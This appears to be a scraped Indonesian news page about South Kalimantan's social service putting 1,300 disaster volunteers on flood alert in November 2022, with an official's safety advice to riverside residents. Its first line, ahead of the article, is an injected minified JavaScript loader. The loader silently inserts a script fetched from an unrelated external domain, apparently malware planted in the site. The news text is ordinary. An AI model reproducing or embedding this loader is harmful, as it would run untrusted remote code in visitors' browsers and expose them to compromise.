(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Mengahapi bencana hidrometeorologi (banjir, red) di Kalimantan Selatan (Kalsel), Pemerintah Provinsi Kalsel melalui Dinas Sosial Provinsi Kalsel menyiagakan personel di 13 Kabupaten/Kota se Kalsel.
Sedikitnya ada 1.300 personel Taruna Siaga Bencana (Tagana) se Kalsel yang bersiaga, serta 40 personil Tagana Provinsi Kalsel.
Kepala Bidang Perlindungan dan Jaminan Sosial Dinsos Kalsel, Achmadi mengatakan, selain anggota Tagana pihaknya juga menyertakan anggota Pelopor Perdamaian, jika diperlukan untuk menambah personel di beberapa titik wilayah terdampak bencana.
“Dari arahan BMKG, di wilayah timur tepatnya di Pegunungan Meratus dari Tabalong hingga Tanah Laut dan wilayah barat yakni Tanah Bumbu hingga Kotabaru dalam posisi siaga dengan curah hujan yang sangat tinggi,” katanya, Senin (7/11/2022).
Saat ini ada peningkatan intensitas hujan di beberapa wilayah di Kabupaten Banjar (Kecamatan Pengaron dan Sungai Pinang, hingga Peramasan) dan Kota Banjarbaru di Kecamatan Cempaka, yang menjadi kewaspadaan dalam potensi bencana banjir.
“Di Kota Banjarbaru sekitar 2 jam sudah surut, yang kita waspadai saat ini di Kabupaten Banjar mulai Sungai Pinang, Pengaron hingga Mataraman,” ungkapnya.
Terkait stok logistik di Dinsos Kalsel, dikatakan Achmadi terbilang aman dalam beberapa bulan mendatang.
“Prediksi BMKG hingga bulan Maret 2023 mendatang, kami sudah menyiapkan baik logistik untuk Wilayah Barat dan Timur, perlengkapan pun dalam kondisi siaga, serta 2 dapur umum,” bebernya.
Baca juga: Langkah Antisipasi dan Kesiapsiagaan Warga Menghadapi Banjir
Pihaknya pun bersiaga 24 jam, jika terjadi keadaan bencana di Kalsel.
“Insyaallah di gudang kita penuh (logistik) untuk penanganan bencana terutama bencana hidrometeorologi,” akunya.
Ia menghimbau kepada warga yang di wilayah potensi bencana banjir untuk berhati-hati dan menyiapkan segala sesuatu dalam menghadapi banjir.
“Untuk warga (di pinggir sungai) jika terjadi bencana agar mengevakuasi diri, bawa peralatan keluarga apa adanya, surat menyurat serta hangan menggunakan alat listrik jangan menggunakan sembarangan (saat banjir),” imbaunya.
Masyarakat katanya, harus akrab bencana artinya dengan adanya bencana banjir mereka tahu baik menyelamatkan diri, membawa perlengkapan dan lainnya.
Baca juga: Buntut Ismail Bolong Ungkap Setoran Tambang Ilegal, Kabareskrim Akhirnya Dilaporkan
“Bantuan pemerintah melalui Dinas Sosial maupun BPBD, siap turun ke lapangan. Kita harus siaga,” tutupnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi melakukan Safari Jum’at di Masjid… Read More
This website uses cookies.